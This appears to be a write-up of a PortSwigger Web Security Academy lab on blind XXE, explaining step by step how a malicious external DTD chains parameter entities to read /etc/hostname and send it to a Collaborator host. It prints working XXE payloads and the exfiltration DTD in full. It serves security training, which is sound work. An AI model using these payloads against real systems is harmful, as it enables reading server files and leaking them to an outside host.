| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Type | Blind XXE — Out-of-Band Data Exfiltration via External DTD |
| Difficulty | Practitioner |
| Objective | Exfiltrate the contents of /etc/hostname |
Exploiting Blind XXE to Exfiltrate Data Using a Malicious External DTD — Writeup¶
Initial Observation¶
Same stock check endpoint, same XML format:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>1</storeId>
</stockCheck>
Injecting arbitrary text as teto:
Response: Invalid product ID — nothing is reflected. We're fully blind.
Trying a standard general entity:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY miku SYSTEM "file://etc/hosts">]>
<stockCheck><productId>&miku;</productId><storeId>1</storeId></stockCheck>
Response: Entities are not allowed for security reasons — same filter as the previous lab.
Confirming parameter entities still work by pointing one at Collaborator:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://4lqvetwm4p4ak1w9i6z32yrbx23trkf9.oastify.com"> %miku;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Collaborator receives the interaction — parameter entities are resolving and the parser is making outbound connections. Now we need to use that to actually carry file contents out.
Understanding the Exfiltration Chain¶
With a general entity we could do this in one step: define an entity pointing at a file, reference it in the body, read the value in the response. But with blind XXE, there's no response to read from — and the general entity filter blocks us from using &entity; in the body anyway.
The solution is to chain parameter entities together inside an external DTD. Here's exactly what's happening and why each piece is necessary.
Step 1 — The request to the application:
<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://exploit-server.net/exploit"> %miku;]>
This tells the parser: "there's an external DTD at that URL — fetch it and process it as part of this document's DTD." The %miku; reference triggers the fetch immediately during DTD processing. The parser downloads whatever is at that URL and treats it as additional DTD declarations.
Step 2 — What the exploit server returns (the malicious external DTD):
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://collaborator.com/?teto=%file;'>">
%eval;
%exfil;
Breaking this down line by line:
Line 1: <!ENTITY % file SYSTEM "file:///etc/hostname">
Declares a parameter entity called %file whose value will be the contents of /etc/hostname. At this point the file hasn't been read yet — we've just declared the entity.
Line 2: <!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://collaborator.com/?teto=%file;'>">
We're declaring a parameter entity called %eval, whose value is a string that contains another entity declaration. The % is the XML hex escape for % — we have to encode it because you can't write a literal % inside an entity value that's being parsed as XML; it would confuse the parser into thinking another entity reference is starting. When %eval eventually gets expanded, that encoded % becomes a real %, producing:
<!ENTITY % exfil SYSTEM 'http://collaborator.com/?teto=%file;'>
Which is the declaration of a third parameter entity called %exfil.
Line 3: %eval;
Expands %eval — which causes the parser to process the string inside it as an actual DTD declaration. Now %exfil exists as a declared entity.
Line 4: %exfil;
Expands %exfil — which triggers an HTTP request to our Collaborator URL with %file; substituted inline. %file at this point resolves to the contents of /etc/hostname. The file contents end up in the URL query string and Collaborator receives them in the request.
The reason this chain exists: XML doesn't allow parameter entity references to be nested directly inside another entity's value during inline declaration. Using an external DTD sidesteps this restriction — the nested declaration happens in a loaded document rather than inline, so the parser allows it.
Attack Path¶
Hosting the Malicious DTD¶
Pasting the malicious DTD into the exploit server body:
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://zjmqcouh2k25iwu4g1xy0tp6vx1opgd5.oastify.com/?teto=%file;'>">
%eval;
%exfil;
Sending the Trigger Request¶
In Burp Repeater, sending the XXE payload pointing at the exploit server:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE teto [<!ENTITY % miku SYSTEM "https://exploit-0a3900f103fc8a6381617570010f002a.exploit-server.net/exploit"> %miku;]>
<stockCheck><productId>1</productId><storeId>1</storeId></stockCheck>
Collaborator receives the exfiltrated /etc/hostname contents in the request URL:
Submitting the hostname value solves the lab ^^
Resources¶
- PortSwigger — Exploiting blind XXE to exfiltrate data out-of-band
- PortSwigger — Blind XXE vulnerabilities
- PortSwigger — XML parameter entities
- Burp Suite Professional — Collaborator, Repeater, exploit server